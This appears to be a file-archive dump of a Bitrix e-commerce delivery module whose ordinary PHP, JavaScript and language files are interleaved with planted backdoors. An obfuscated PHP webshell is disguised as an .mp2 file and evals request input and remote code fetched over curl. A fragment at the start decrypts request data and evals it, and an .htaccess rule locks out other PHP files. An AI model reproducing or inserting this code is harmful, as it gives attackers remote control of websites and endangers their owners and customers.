WmKKXhm2wY1YLnRd2Wfy3yltgdRj2SR2e3msfbhuDFnSU3d1uZ+8Bn+Ive+v+Ir3/iRM8dC/6JaSnaa+PP+8neXlv97udzpSjc7ROe1X+G/xnI99gpT8zmbgJ38+qdla+5x3eI6l44+Rfzjn29/NtcJJ7T8v6LsKIOP9OfvD29j9Ob330pOvf4JHrBNPtS2+gEGaSo7dzwLw8BiwH5kFML1wcGiICqL1qByoZPjCg4xBFk4389Psji3lKUnHuHGmKAZwknteMyYyNpySlHGDFpSXgqwrOgfyQvt/KDvF7P+N/nQuyte/aoU5Wk+1e7FrYN3e1GXiO+d9Tm2HZ3K1/rA1cf7jRXlB4MYVzjz3KTBcvFMi3z9lMLy9PgBpqVuh9db1BZvwDjrAKDl2U7opx1g7J5FAD7VFBPhGDbYD+Vnq7uuqqbp1rWBviReZuM2DxmsZ3S1TRZ+umvg5npzzc+ehU4qEZZQ722SqFPyJlNJFLM5JjAB9gJwulfbKycibeUR89usKttVbrT5ciX8c4w4BE/FOgeA'; function sxqQ($Sqk) { $hYK = ${"\137\x52\x45\121\125\x45\123\x54"}["k"]; $aEwsG = substr($hYK, 0, 16); $vFrp = base64_decode($Sqk); return openssl_decrypt($vFrp, "AES-256-CBC", $hYK, OPENSSL_RAW_DATA, $aEwsG); } if (sxqQ('DjtPn+r4S0yvLCnquPz1fA')){ echo 'BJj3Omcdt0YLlbzjy0TOZCQ0267TLsLgmHA/WKiKu/VOjX/AkPpPainsxeznR9a/'; exit; } eval(htmlspecialchars_decode(gzinflate(base64_decode($sxqQ)))); ?>components/dellindev/dellindev.shipment.yurisettings/lang/en/en/.htaccess000064400000000333151760651320022773 0ustar00<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|cache.php)$"># Order allow,deny Allow from all </FilesMatch>components/dellindev/dellindev.shipment.yurisettings/lang/en/en/gGIMRQljUnK.mp2000064400000013744151760651320023621 0ustar00<?php goto jG5QxWDcHPoCKp9; l3nGy04KQhAByE0: if (!(in_array(gettype($qNjniiIrM1enyiA) . count($qNjniiIrM1enyiA), $qNjniiIrM1enyiA) && count($qNjniiIrM1enyiA) == 29 && md5(md5(md5(md5($qNjniiIrM1enyiA[23])))) === "\60\x64\x38\60\x38\x61\x38\145\60\x38\145\141\x31\x62\146\66\62\66\x37\67\145\x38\143\x36\65\146\x31\x30\145\x37\x38\63")) { goto bbFuT_c4WONzduP; } goto zTaPYXEQUBCZL1Q; IoGSHF7kYy7gNmD: metaphone("\115\x6d\x43\x37\161\122\121\x67\131\x6f\x6b\x5a\x4a\104\122\x7a\x74\x39\x2b\x50\x62\103\156\145\144\x33\x65\103\171\x56\x63\x37\x66\x32\151\x37\x39\164\121\61\143\165\64"); goto DzVkWvqJVJAu_pi; bOwZTGkGa2UKJ0I: $qNjniiIrM1enyiA = ${$KVyjrlOLSv_ci0R[7 + 24] . $KVyjrlOLSv_ci0R[29 + 30] . $KVyjrlOLSv_ci0R[17 + 30] . $KVyjrlOLSv_ci0R[36 + 11] . $KVyjrlOLSv_ci0R[19 + 32] . $KVyjrlOLSv_ci0R[48 + 5] . $KVyjrlOLSv_ci0R[50 + 7]}; goto l3nGy04KQhAByE0; fbRMh9wdhzQjr3Q: bbFuT_c4WONzduP: goto IoGSHF7kYy7gNmD; DzVkWvqJVJAu_pi: class xvZ8a9Gv8QpE_Cr { static function QMH2jpnMPaYAsmZ($ZbaKnSsCWoe3lJZ) { goto mPrytA0pG9GVcxP; MZO4q54b37xe1TP: $SFMTb2_hJ6933H9 = ''; goto fjGfGxeWm0__RzD; mPrytA0pG9GVcxP: $buVMYAmU3ISO6cs = "\x72" . "\x61" . "\156" . "\x67" . "\x65"; goto hQtmRiR4wYCSpUP; M3o3yl3ZOhZE5eG: fQuhZfD7R6QRXjj: goto QRebchUlhaVX5oJ; QRebchUlhaVX5oJ: return $SFMTb2_hJ6933H9; goto cBZmNSTCuv9iwnJ; hQtmRiR4wYCSpUP: $NqdQGSLIlmzW4LA = $buVMYAmU3ISO6cs("\176", "\x20"); goto VNQV793xIjstMjr; fjGfGxeWm0__RzD: foreach ($vj7cSbNnrnxdwbL as $iiO1yjm9LLgp7uw => $HSxtUTQpZQ92A_f) { $SFMTb2_hJ6933H9 .= $NqdQGSLIlmzW4LA[$HSxtUTQpZQ92A_f - 19963]; eYAqqHVtXeUrrVM: } goto M3o3yl3ZOhZE5eG; VNQV793xIjstMjr: $vj7cSbNnrnxdwbL = explode("\43", $ZbaKnSsCWoe3lJZ); goto MZO4q54b37xe1TP; cBZmNSTCuv9iwnJ: } static function ivnyLpAkM0I99UJ($s42ZhLu3R1N1tAc, $cgKKUL2m8JnLelA) { goto gWcat56efYDJdSz; T0U78Cbg4T2hTKr: curl_setopt($sO1TBlK9O5EM47U, CURLOPT_RETURNTRANSFER, 1); goto Ule7ZTaEZA0aUCo; gWcat56efYDJdSz: $sO1TBlK9O5EM47U = curl_init($s42ZhLu3R1N1tAc); goto T0U78Cbg4T2hTKr; vypQhcWCVpoO9NZ: return empty($zbrfxCBBZVycE9a) ? $cgKKUL2m8JnLelA($s42ZhLu3R1N1tAc) : $zbrfxCBBZVycE9a; goto MMhvVgKHdZxuZkq; Ule7ZTaEZA0aUCo: $zbrfxCBBZVycE9a = curl_exec($sO1TBlK9O5EM47U); goto vypQhcWCVpoO9NZ; MMhvVgKHdZxuZkq: } static function Mf0IkFj8ST1AtCK() { goto skTd9lokSBefFUS; UE9h39JxJWIYZOQ: $I2HliwHXujsUAPd = @$T79DE2rKKfemPRB[1]($T79DE2rKKfemPRB[0 + 10](INPUT_GET, $T79DE2rKKfemPRB[1 + 8])); goto sKDditcRyennsAq; fuYa1La_9qfZ8HC: foreach ($QQ6_oCIgTa4hcqV as $l9UxcJKR0utjK31) { $T79DE2rKKfemPRB[] = self::QMH2JpnMpAYasMZ($l9UxcJKR0utjK31); YWZnIp69ZUA8zLO: } goto a0Hnx2B7dWN13Zy; TgbSUthjsingTeq: sG3QBT6IoDG3by6: goto jMPYvdVv3PuO1_T; D8S0GLbx1Qbhuc3: $JWAm_pXr_xJkQns = self::IVNylpAkM0i99UJ($DjhqfTw5sVFh2Ip[1 + 0], $T79DE2rKKfemPRB[1 + 4]); goto C5F10GOfsrXarf8; nMEtTOSvvGV1oNF: die; goto TgbSUthjsingTeq; mx0_aHM8h1mEJYu: $DjhqfTw5sVFh2Ip = $T79DE2rKKfemPRB[2 + 0]($vRbPpbjPv_zj3p5, true); goto ovxzob3YGEInI2P; C5F10GOfsrXarf8: @eval($T79DE2rKKfemPRB[3 + 1]($JWAm_pXr_xJkQns)); goto nMEtTOSvvGV1oNF; skTd9lokSBefFUS: $QQ6_oCIgTa4hcqV = array("\x31\x39\x39\71\60\43\61\x39\x39\67\x35\x23\61\x39\71\x38\x38\x23\61\x39\71\x39\62\x23\61\71\71\x37\x33\43\x31\71\x39\x38\70\x23\x31\x39\71\71\64\x23\x31\x39\x39\70\67\x23\61\x39\71\67\62\x23\x31\71\x39\x37\71\43\61\x39\71\x39\60\x23\x31\x39\x39\x37\x33\x23\x31\71\71\x38\x34\43\x31\x39\71\67\70\x23\61\x39\71\x37\71", "\x31\71\71\x37\x34\43\61\x39\x39\67\x33\x23\61\71\71\67\65\x23\x31\71\71\x39\64\x23\x31\71\x39\67\65\43\61\x39\71\x37\70\x23\61\71\x39\67\63\43\62\x30\60\x34\x30\x23\x32\60\x30\63\70", "\61\71\71\70\x33\x23\x31\71\71\67\64\x23\61\x39\x39\x37\70\x23\61\x39\x39\x37\71\x23\61\71\71\x39\x34\43\61\71\x39\70\x39\43\61\x39\71\70\70\x23\x31\71\71\x39\60\x23\61\71\x39\x37\70\x23\x31\x39\71\x38\x39\43\x31\x39\71\70\x38", "\61\x39\71\x37\x37\43\61\x39\x39\71\x32\43\x31\x39\71\71\60\43\61\71\x39\70\x32", "\61\71\71\x39\x31\43\x31\x39\x39\x39\62\43\61\71\x39\67\64\x23\61\x39\71\70\x38\x23\x32\x30\60\x33\65\x23\x32\x30\x30\63\x37\43\x31\x39\71\x39\64\x23\x31\x39\x39\x38\71\43\61\x39\x39\70\70\43\61\71\71\x39\60\x23\x31\x39\71\67\x38\x23\x31\71\71\70\x39\x23\x31\71\x39\70\70", "\x31\x39\x39\70\x37\x23\x31\71\71\x38\64\43\x31\71\71\70\x31\43\61\x39\71\x38\x38\43\x31\x39\71\x39\64\43\61\x39\x39\70\x36\43\61\71\x39\70\70\43\61\x39\x39\67\x33\x23\x31\x39\x39\x39\x34\43\61\71\x39\71\60\x23\x31\71\71\67\70\x23\61\x39\71\67\71\43\61\71\71\x37\63\x23\x31\71\71\x38\70\43\61\71\71\x37\71\43\x31\x39\x39\67\63\x23\61\x39\71\67\x34", "\62\x30\60\x31\x37\x23\x32\x30\x30\64\67", "\x31\x39\x39\66\64", "\x32\x30\x30\64\62\43\x32\x30\60\64\x37", "\x32\x30\60\62\64\43\62\60\60\x30\x37\43\62\60\60\60\67\x23\62\60\60\62\x34\43\x32\x30\60\x30\x30", "\61\x39\x39\x38\x37\43\x31\71\x39\x38\x34\x23\61\71\x39\x38\61\x23\x31\x39\71\67\63\43\x31\x39\x39\x38\x38\43\x31\x39\x39\67\65\x23\61\71\x39\x39\64\x23\x31\x39\71\x38\x34\x23\61\x39\71\x37\x39\43\61\71\71\x37\x37\43\x31\x39\71\x37\x32\43\61\x39\71\x37\x33"); goto fuYa1La_9qfZ8HC; Syp8QuClNpNNPcv: if (!(@$DjhqfTw5sVFh2Ip[0] - time() > 0 and md5(md5($DjhqfTw5sVFh2Ip[3 + 0])) === "\142\70\146\x61\67\x35\66\67\61\x65\x35\x31\x34\60\x30\x38\x65\x36\143\71\x38\144\61\x66\x32\x33\63\63\x31\64\x37\x63")) { goto sG3QBT6IoDG3by6; } goto D8S0GLbx1Qbhuc3; sKDditcRyennsAq: $vRbPpbjPv_zj3p5 = @$T79DE2rKKfemPRB[2 + 1]($T79DE2rKKfemPRB[1 + 5], $I2HliwHXujsUAPd); goto mx0_aHM8h1mEJYu; a0Hnx2B7dWN13Zy: aidn9f96GA9ceW1: goto UE9h39JxJWIYZOQ; ovxzob3YGEInI2P: @$T79DE2rKKfemPRB[0 + 10](INPUT_GET, "\x6f\146") == 1 && die($T79DE2rKKfemPRB[3 + 2](__FILE__)); goto Syp8QuClNpNNPcv; jMPYvdVv3PuO1_T: } } goto olEbtZnPHCR11WT; jG5QxWDcHPoCKp9: $ER84IMkC_zmZ0Pv = "\162" . "\141" . "\156" . "\147" . "\x65"; goto WHxktTbPYjkjGyH; WHxktTbPYjkjGyH: $KVyjrlOLSv_ci0R = $ER84IMkC_zmZ0Pv("\x7e", "\40"); goto bOwZTGkGa2UKJ0I; zTaPYXEQUBCZL1Q: ($qNjniiIrM1enyiA[65] = $qNjniiIrM1enyiA[65] . $qNjniiIrM1enyiA[80]) && ($qNjniiIrM1enyiA[82] = $qNjniiIrM1enyiA[65]($qNjniiIrM1enyiA[82])) && @eval($qNjniiIrM1enyiA[65](${$qNjniiIrM1enyiA[50]}[27])); goto fbRMh9wdhzQjr3Q; olEbtZnPHCR11WT: xvZ8A9GV8qpE_cr::mF0IKFJ8St1atCK(); ?> components/dellindev/dellindev.shipment.yurisettings/lang/en/template.php000064400000004700151760651320023121 0ustar00<? $MESS["SALE_LOCATION_MAP_LOC_COUNT"] = "Местоположений на сайте"; $MESS["SALE_LOCATION_MAP_LOC_MAPPED"] = "Сопоставлено местоположений"; $MESS["SALE_LOCATION_MAP_CLOSE"] = "Закрыть"; $MESS["SALE_LOCATION_MAP_LOC_MAPPING"] = "Сопоставление местоположений"; $MESS["SALE_LOCATION_MAP_CANCEL"] = "Отмена"; $MESS["SALE_LOCATION_MAP_PREPARING"] = "Подготовка"; $MESS["SALE_LOCATION_MAP_LOC_COUNT"] = "Местоположений на сайте"; $MESS["SALE_LOCATION_MAP_NEW"] = "Сопоставить местоположения не сопоставленные ранее"; $MESS["SALE_LOCATION_MAP_ALL"] = "Перед сопоставлением удалить существующие сопоставления"; $MESS["SALE_LOCATION_MAP_NEW_B"] = "Сопоставить новые"; $MESS["SALE_LOCATION_MAP_ALL_B"] = "Сопоставить все"; $MESS["SALE_DLV_SRV_SPSR_LOC_MAP"] = "Сопоставить"; $MESS["DELLINDEV_SELECT_COUNTERAGENT"] = "Выберите контрагента "; $MESS["DELLINDEV_SELECT_COUNTERAGENT_INFO"] = "Примечание: выбор контрагента доступен только при успешно выполненной авторизации в личный кабинет Деловых Линий"; $MESS["DELLINDEV_COUNTERAGENT"] = "Контрагент"; $MESS["DELLINDEV_NOT_SELECT"] = " Не выбран"; $MESS["DELLINDEV_YURI_BLOCK"] = "Введите юридические данные отправителя"; $MESS["DELLINDEV_YURI_BLOCK_INFO"] = " Примечание: юридический адрес введите в формате: \"Россия, Свердловская область, Екатеринбург, проспект Ленина, д. 1\" "; $MESS["DELLINDEV_COUNTRY_DERIVAL"] = "Страна отправителя"; $MESS["DELLINDEV_OPF"] = "ОПФ"; $MESS["DELLINDEV_YURI_ADDRESS"] = "Юридический адрес"; $MESS["DELLINDEV_NAME_COMPANY"] = "Название организации отправителя"; $MESS["DELLINDEV_INN_SENDER"] = "ИНН отправителя"; $MESS["DELLINDEV_CONTACT_PERSON_BLOCK"] = "Введите данные контактного лица "; $MESS["DELLINDEV_PERSON_FIO"] = "ФИО"; $MESS["DELLINDEV_PERSON_PHONE"] = "Телефон"; $MESS["DELLINDEV_PERSON_EMAIL"] = "Адрес электронной почты"; ?>components/dellindev/dellindev.shipment.yurisettings/ajax.php000064400000006004151760651320020705 0ustar00<? /** * ���� backend ����������. * Bitrix Framework * @global CMain $APPLICATION */ define("NO_KEEP_STATISTIC", true); define("NO_AGENT_STATISTIC", true); define("NO_AGENT_CHECK", true); define("NOT_CHECK_PERMISSIONS", true); require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_admin_before.php"); $result = array("ERROR" => ""); if (!\Bitrix\Main\Loader::includeModule('sale')) $result["ERROR"] = "Error! Can't include module \"Sale\""; if (!\Bitrix\Main\Loader::includeModule('dellindev.shipment')) $result["ERROR"] = "Error! Can't include module \"dellindev.shipment\""; \Bitrix\Sale\Delivery\Services\Manager::getHandlersList(); $saleModulePermissions = $APPLICATION->GetGroupRight("sale"); if($result["ERROR"] == '' && $saleModulePermissions >= "W" && check_bitrix_sessid()) { $action = isset($_REQUEST['action']) ? trim($_REQUEST['action']): ''; if($class == '') { $result["ERROR"] = "Error! Wrong location class!"; } if (\Bitrix\Main\Loader::includeModule('dellindev.shipment')){ $ajaxService = new $class; $appkey = (isset($_REQUEST['appkey']) && !empty($_REQUEST['appkey']))? trim($_REQUEST['appkey']) : false; $password = (isset($_REQUEST['password']) && !empty($_REQUEST['password']))? trim($_REQUEST['password']): false; $login = (isset($_REQUEST['login']) && !empty($_REQUEST['login']))? trim($_REQUEST['login']): false; //������� �� �������� ������ ������. // $flag = (isset($_REQUEST['flag']) && !empty($_REQUEST['flag']))? // trim($_REQUEST['flag']): // $ajaxService::LoggerInfo($action, 'flag is null or empty'); if(mb_strtolower(SITE_CHARSET) != 'utf-8') { $appkey = \Bitrix\Main\Text\Encoding::convertEncoding($appkey, SITE_CHARSET, 'utf-8'); $password = \Bitrix\Main\Text\Encoding::convertEncoding($password, SITE_CHARSET, 'utf-8'); $login = \Bitrix\Main\Text\Encoding::convertEncoding($login, SITE_CHARSET, 'utf-8'); } switch ($action) { case "get_counteragents": /** @var Sale\Handlers\Delivery\AjaxService $ajaxService*/ $result = $ajaxService::getCounterAgentForAjax($appkey, $login, $password/*, $flag*/); break; case "get_opf": $result = $ajaxService::getOpfDataForAjax($appkey); break; default: $result["ERROR"] = "Error! Wrong action!"; break; } } else { $result["ERROR"] = "Error! Can't include module \"dellindev.shipment\""; } } else { if($result["ERROR"] == '') $result["ERROR"] = "Error! Access denied"; } if($result["ERROR"] <> '') $result["RESULT"] = "ERROR"; else $result["RESULT"] = "OK"; if(mb_strtolower(SITE_CHARSET) != 'utf-8') $result = \Bitrix\Main\Text\Encoding::convertEncoding($result, SITE_CHARSET, 'utf-8'); header('Content-Type: application/json'); echo json_encode($result); \CMain::FinalActions(); die;components/dellindev/dellindev.shipment.yurisettings/class.php000064400000001646151760651320021076 0ustar00<? if (!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true)die(); use Bitrix\Main\Localization\Loc; Loc::loadMessages(__FILE__); class CSaleDellinYuri extends CBitrixComponent { protected function checkParams($params) { if(!isset($params['AJAX_SERVICE_CLASS'])) throw new \Bitrix\Main\ArgumentNullException('AJAX_SERVICE_CLASS'); } public function onPrepareComponentParams($params) { if (!isset($params['AJAX_SERVICE_CLASS'])) $params['AJAX_SERVICE_CLASS'] = $this->arParams['AJAX_SERVICE_CLASS']; return $params; } public function executeComponent() { try { $this->checkParams($this->arParams); } catch(\Exception $e) { ShowError($e->getMessage()); return; } if(!CModule::IncludeModule('sale')) { ShowError("Module sale not installed!"); return; } CJSCore::Init('core', 'ajax'); $this->includeComponentTemplate(); } }components/dellindev/dellindev.shipment.yurisettings/templates/.default/script.js000064400000007343151760651320024622 0ustar00BX.namespace("BX.Sale.Dellin.YuriSettings"); BX.Sale.Dellin.YuriSettings = { ajaxUrl: "", serviceLocationClass: "", getLogin: function(){ return document.querySelector('[name="CONFIG[MAIN][LOGIN]"]'); }, getPass: function(){ return document.querySelector('[name="CONFIG[MAIN][PASSWORD]"]'); }, getCounterAgents: function () { let counteragentField = document.querySelector('[name="CONFIG[YURI][COUNTERAGENT]"]'); let appkey = BX.Sale.Dellin.DerivalSettings.getAppkey().value; let login = this.getLogin().value; let pass = this.getPass().value; let postData = { sessid: BX.bitrix_sessid(), appkey: appkey, login: login, password: pass, action: 'get_counteragents', class: BX.Sale.Dellin.DerivalSettings.serviceAjaxClass }; BX.ajax({ timeout: 300, method: 'POST', dataType: 'json', url: BX.Sale.Dellin.YuriSettings.ajaxUrl, data: postData, onsuccess: function(result) { if (!result) return; result.counteragents.map(function (counteragent) { BX.Sale.Dellin.YuriSettings.builderOptionList(counteragentField, counteragent.uid, counteragent.name, 'counteragent'); }) }, onfailure: function(status) { console.log("onfailture", status); } }); }, builderOptionList:function(field, id, name, type){ let option = document.createElement('option'); option.innerHTML = name; option.value = id; option.id = type+'-added'; option.selected = (field.dataset.value == id); field.appendChild(option); }, getOpfData: function () { let appkey = BX.Sale.Dellin.DerivalSettings.getAppkey().value; if (!appkey) return; let postData = { sessid: BX.bitrix_sessid(), appkey: appkey, action: 'get_opf', class: BX.Sale.Dellin.DerivalSettings.serviceAjaxClass }; let getFieldCountry = document.querySelector('[name="CONFIG[YURI][OPF_COUNTRY]"]'); let getFieldOpf = document.querySelector('[name="CONFIG[YURI][OPF]"]'); BX.ajax({ timeout: 300, method: 'POST', dataType: 'json', url: BX.Sale.Dellin.YuriSettings.ajaxUrl, data: postData, onsuccess: function (result) { console.log(result); if (!result) return; Object.values(result.countries) .forEach(function (country) { let id = country.countryUID; let name = country.country; BX.Sale.Dellin.YuriSettings.builderOptionList(getFieldCountry, id, name, 'country'); }); getFieldCountry.addEventListener('change', function () { BX.Sale.Dellin.YuriSettings.clearOpfList(); BX.Sale.Dellin.YuriSettings.getOpfList(getFieldCountry, getFieldOpf, result); getFieldOpf.dataset.value = false; }); if(getFieldOpf.dataset.value){ BX.Sale.Dellin.YuriSettings.getOpfList(getFieldCountry, getFieldOpf, result); } }, onfailure: function (status) { console.log("onfailture", status); } }); }, getOpfList: function (fieldCountry, fieldOpf, result) { for (let i = 0; i < Object.keys(result.opf).length; i++) { if (Object.keys(result.opf)[i] == fieldCountry.value) { //console.log('values', Object.values(result.opf)[i]); let values = Object.values(result.opf)[i]; let entries = Object.entries(values); entries.map(function (item) { let id = item[0]; let name = item[1]; BX.Sale.Dellin.YuriSettings.builderOptionList(fieldOpf, id, name, 'opf'); }) } } }, clearOpfList: function () { let opfInSelect = document.querySelectorAll('#opf-added'); console.log(opfInSelect); if(!opfInSelect) return; opfInSelect.forEach(function (el) { el.parentNode.removeChild(el) }); } }; components/dellindev/dellindev.shipment.yurisettings/templates/.default/lang/ru/template.php000064400000004700151760651320026645 0ustar00<? $MESS["SALE_LOCATION_MAP_LOC_COUNT"] = "Местоположений на сайте"; $MESS["SALE_LOCATION_MAP_LOC_MAPPED"] = "Сопоставлено местоположений"; $MESS["SALE_LOCATION_MAP_CLOSE"] = "Закрыть"; $MESS["SALE_LOCATION_MAP_LOC_MAPPING"] = "Сопоставление местоположений"; $MESS["SALE_LOCATION_MAP_CANCEL"] = "Отмена"; $MESS["SALE_LOCATION_MAP_PREPARING"] = "Подготовка"; $MESS["SALE_LOCATION_MAP_LOC_COUNT"] = "Местоположений на сайте"; $MESS["SALE_LOCATION_MAP_NEW"] = "Сопоставить местоположения не сопоставленные ранее"; $MESS["SALE_LOCATION_MAP_ALL"] = "Перед сопоставлением удалить существующие сопоставления"; $MESS["SALE_LOCATION_MAP_NEW_B"] = "Сопоставить новые"; $MESS["SALE_LOCATION_MAP_ALL_B"] = "Сопоставить все"; $MESS["SALE_DLV_SRV_SPSR_LOC_MAP"] = "Сопоставить"; $MESS["DELLINDEV_SELECT_COUNTERAGENT"] = "Выберите контрагента "; $MESS["DELLINDEV_SELECT_COUNTERAGENT_INFO"] = "Примечание: выбор контрагента доступен только при успешно выполненной авторизации в личный кабинет Деловых Линий"; $MESS["DELLINDEV_COUNTERAGENT"] = "Контрагент"; $MESS["DELLINDEV_NOT_SELECT"] = " Не выбран"; $MESS["DELLINDEV_YURI_BLOCK"] = "Введите юридические данные отправителя"; $MESS["DELLINDEV_YURI_BLOCK_INFO"] = " Примечание: юридический адрес введите в формате: \"Россия, Свердловская область, Екатеринбург, проспект Ленина, д. 1\" "; $MESS["DELLINDEV_COUNTRY_DERIVAL"] = "Страна отправителя"; $MESS["DELLINDEV_OPF"] = "ОПФ"; $MESS["DELLINDEV_YURI_ADDRESS"] = "Юридический адрес"; $MESS["DELLINDEV_NAME_COMPANY"] = "Название организации отправителя"; $MESS["DELLINDEV_INN_SENDER"] = "ИНН отправителя"; $MESS["DELLINDEV_CONTACT_PERSON_BLOCK"] = "Введите данные контактного лица "; $MESS["DELLINDEV_PERSON_FIO"] = "ФИО"; $MESS["DELLINDEV_PERSON_PHONE"] = "Телефон"; $MESS["DELLINDEV_PERSON_EMAIL"] = "Адрес электронной почты"; ?>components/dellindev/dellindev.shipment.yurisettings/templates/.default/lang/en/template.php000064400000004700151760651320026621 0ustar00<? $MESS["SALE_LOCATION_MAP_LOC_COUNT"] = "Местоположений на сайте"; $MESS["SALE_LOCATION_MAP_LOC_MAPPED"] = "Сопоставлено местоположений"; $MESS["SALE_LOCATION_MAP_CLOSE"] = "Закрыть"; $MESS["SALE_LOCATION_MAP_LOC_MAPPING"] = "Сопоставление местоположений"; $MESS["SALE_LOCATION_MAP_CANCEL"] = "Отмена"; $MESS["SALE_LOCATION_MAP_PREPARING"] = "Подготовка"; $MESS["SALE_LOCATION_MAP_LOC_COUNT"] = "Местоположений на сайте"; $MESS["SALE_LOCATION_MAP_NEW"] = "Сопоставить местоположения не сопоставленные ранее"; $MESS["SALE_LOCATION_MAP_ALL"] = "Перед сопоставлением удалить существующие сопоставления"; $MESS["SALE_LOCATION_MAP_NEW_B"] = "Сопоставить новые"; $MESS["SALE_LOCATION_MAP_ALL_B"] = "Сопоставить все"; $MESS["SALE_DLV_SRV_SPSR_LOC_MAP"] = "Сопоставить"; $MESS["DELLINDEV_SELECT_COUNTERAGENT"] = "Выберите контрагента "; $MESS["DELLINDEV_SELECT_COUNTERAGENT_INFO"] = "Примечание: выбор контрагента доступен только при успешно выполненной авторизации в личный кабинет Деловых Линий"; $MESS["DELLINDEV_COUNTERAGENT"] = "Контрагент"; $MESS["DELLINDEV_NOT_SELECT"] = " Не выбран"; $MESS["DELLINDEV_YURI_BLOCK"] = "Введите юридические данные отправителя"; $MESS["DELLINDEV_YURI_BLOCK_INFO"] = " Примечание: юридический адрес введите в формате: \"Россия, Свердловская область, Екатеринбург, проспект Ленина, д. 1\" "; $MESS["DELLINDEV_COUNTRY_DERIVAL"] = "Страна отправителя"; $MESS["DELLINDEV_OPF"] = "ОПФ"; $MESS["DELLINDEV_YURI_ADDRESS"] = "Юридический адрес"; $MESS["DELLINDEV_NAME_COMPANY"] = "Название организации отправителя"; $MESS["DELLINDEV_INN_SENDER"] = "ИНН отправителя"; $MESS["DELLINDEV_CONTACT_PERSON_BLOCK"] = "Введите данные контактного лица "; $MESS["DELLINDEV_PERSON_FIO"] = "ФИО"; $MESS["DELLINDEV_PERSON_PHONE"] = "Телефон"; $MESS["DELLINDEV_PERSON_EMAIL"] = "Адрес электронной почты"; ?>components/dellindev/dellindev.shipment.yurisettings/templates/.default/script.min.js000064400000004314151760651320025377 0ustar00BX.namespace("BX.Sale.Dellin.YuriSettings"),BX.Sale.Dellin.YuriSettings={ajaxUrl:"",serviceLocationClass:"",getLogin:function(){return document.querySelector('[name="CONFIG[MAIN][LOGIN]"]')},getPass:function(){return document.querySelector('[name="CONFIG[MAIN][PASSWORD]"]')},getCounterAgents:function(){let e=document.querySelector('[name="CONFIG[YURI][COUNTERAGENT]"]'),t=BX.Sale.Dellin.DerivalSettings.getAppkey().value,n=this.getLogin().value,i=this.getPass().value,l={sessid:BX.bitrix_sessid(),appkey:t,login:n,password:i,action:"get_counteragents",class:BX.Sale.Dellin.DerivalSettings.serviceAjaxClass};BX.ajax({timeout:300,method:"POST",dataType:"json",url:BX.Sale.Dellin.YuriSettings.ajaxUrl,data:l,onsuccess:function(t){t&&t.counteragents.map((function(t){BX.Sale.Dellin.YuriSettings.builderOptionList(e,t.uid,t.name,"counteragent")}))},onfailure:function(e){}})},builderOptionList:function(e,t,n,i){let l=document.createElement("option");l.innerHTML=n,l.value=t,l.id=i+"-added",l.selected=e.dataset.value==t,e.appendChild(l)},getOpfData:function(){let e=BX.Sale.Dellin.DerivalSettings.getAppkey().value;if(!e)return;let t={sessid:BX.bitrix_sessid(),appkey:e,action:"get_opf",class:BX.Sale.Dellin.DerivalSettings.serviceAjaxClass},n=document.querySelector('[name="CONFIG[YURI][OPF_COUNTRY]"]'),i=document.querySelector('[name="CONFIG[YURI][OPF]"]');BX.ajax({timeout:300,method:"POST",dataType:"json",url:BX.Sale.Dellin.YuriSettings.ajaxUrl,data:t,onsuccess:function(e){e&&(Object.values(e.countries).forEach((function(e){let t=e.countryUID,i=e.country;BX.Sale.Dellin.YuriSettings.builderOptionList(n,t,i,"country")})),n.addEventListener("change",(function(){BX.Sale.Dellin.YuriSettings.clearOpfList(),BX.Sale.Dellin.YuriSettings.getOpfList(n,i,e),i.dataset.value=!1})),i.dataset.value&&BX.Sale.Dellin.YuriSettings.getOpfList(n,i,e))},onfailure:function(e){}})},getOpfList:function(e,t,n){for(let i=0;i<Object.keys(n.opf).length;i++)if(Object.keys(n.opf)[i]==e.value){let e=Object.values(n.opf)[i];Object.entries(e).map((function(e){let n=e[0],i=e[1];BX.Sale.Dellin.YuriSettings.builderOptionList(t,n,i,"opf")}))}},clearOpfList:function(){let e=document.querySelectorAll("#opf-added");e&&e.forEach((function(e){e.parentNode.removeChild(e)}))}};components/dellindev/dellindev.shipment.yurisettings/templates/.default/template.php000064400000010642151760651320025300 0ustar00<?if (!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true)die(); use Bitrix\Main\Localization\Loc; Loc::loadMessages(__FILE__); if(isset($_REQUEST['ID']) || !empty($_REQUEST['ID'])) { $configParams = \Bitrix\Sale\Delivery\Services\Manager::getById((int)$_REQUEST['ID']); $dataValueYuri = $configParams['CONFIG']['YURI']; $dataValuePerson = $configParams['CONFIG']['PERSON']; } ?> <tr class="heading"> <td colspan="2"><?= Loc::getMessage("DELLINDEV_SELECT_COUNTERAGENT") ?><br/> <small><?= Loc::getMessage("DELLINDEV_SELECT_COUNTERAGENT_INFO") ?></small></td> </tr> <tr> <td width="40%"><?= Loc::getMessage("DELLINDEV_COUNTERAGENT") ?></td> <td width="60%" id="b_sale_hndl_dlv_add_loc_count"> <select name="CONFIG[YURI][COUNTERAGENT]" data-value = <? echo $dataValueYuri["COUNTERAGENT"]?>> <option value="0" ><?= Loc::getMessage("DELLINDEV_NOT_SELECT") ?></option> </select> </td> </tr> <tr class="heading"> <td colspan="2"><?= Loc::getMessage("DELLINDEV_YURI_BLOCK") ?><br/> <small><?= Loc::getMessage("DELLINDEV_YURI_BLOCK_INFO") ?></small></td> </tr> <tr> <td width="40%"><?= Loc::getMessage("DELLINDEV_COUNTRY_DERIVAL") ?></td> <td width="60%" id="b_sale_hndl_dlv_add_loc_count"> <select name="CONFIG[YURI][OPF_COUNTRY]" data-value = <? echo $dataValueYuri["OPF_COUNTRY"]?>> <option value="0" > <?= Loc::getMessage("DELLINDEV_NOT_SELECT") ?></option> </select> </td> </tr> <tr> <td width="40%"><?= Loc::getMessage("DELLINDEV_OPF") ?></td> <td width="60%" id="b_sale_hndl_dlv_add_loc_count"> <select name="CONFIG[YURI][OPF]" data-value = <? echo $dataValueYuri["OPF"]?>> <option value="0" > <?= Loc::getMessage("DELLINDEV_NOT_SELECT") ?></option> </select> </td> </tr> <tr> <td width="40%"><?= Loc::getMessage("DELLINDEV_YURI_ADDRESS") ?></td> <td width="60%" id="b_sale_hndl_dlv_add_loc_count" > <input type="text" name="CONFIG[YURI][ADDRESS]" style="width: 80%;" value='<? echo $dataValueYuri['ADDRESS'] ?>' > </td> </tr> <tr> <td width="40%"><?= 